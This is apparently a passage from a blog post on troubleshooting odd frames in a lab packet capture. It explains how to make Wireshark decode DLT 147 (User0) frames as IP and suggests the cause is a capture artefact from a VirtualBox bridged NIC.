DLT 147 corresponds to the link layer type for User0. Wireshark doesn't know how to handle it. We fix that by right-clicking on the yellow field and selecting Protocol Preferences -> Open DLT User preferences:

Next I created an entry fpr User 0 (DLT-147) with Payload protocol "ip" and Header size "14" as shown:

After clicking OK, I returned to Wireshark. Here is how frame 4241 (again listed here as frame 3) appeared:

You can see Wireshark is now making sense of the IP header, but it doesn't know how to handle the TCP header which follows. I tried different values and options to see if I could get Wireshark to understand the TCP header too, but this went far enough for my purposes.

The bottom line is that I believe there is some sort of packet capture problem, either with the softare used or the traffic that is presented to the software by the bridged NIC created by VirtualBox. As this is a lab environment and the traffic is 1% of the overall capture, I am not worried about the results.

I am fairly sure that the weird traffic is not on the wire. I tried capturing on the host OS sniffing NIC and did not see anything resembling this traffic.

Have you seen anything like this? Let me know in a comment here on on Twitter.

PS: I found the frame.number=X Wireshark display filter helpful, along with the frame.len>Y display filter, when researching this activity.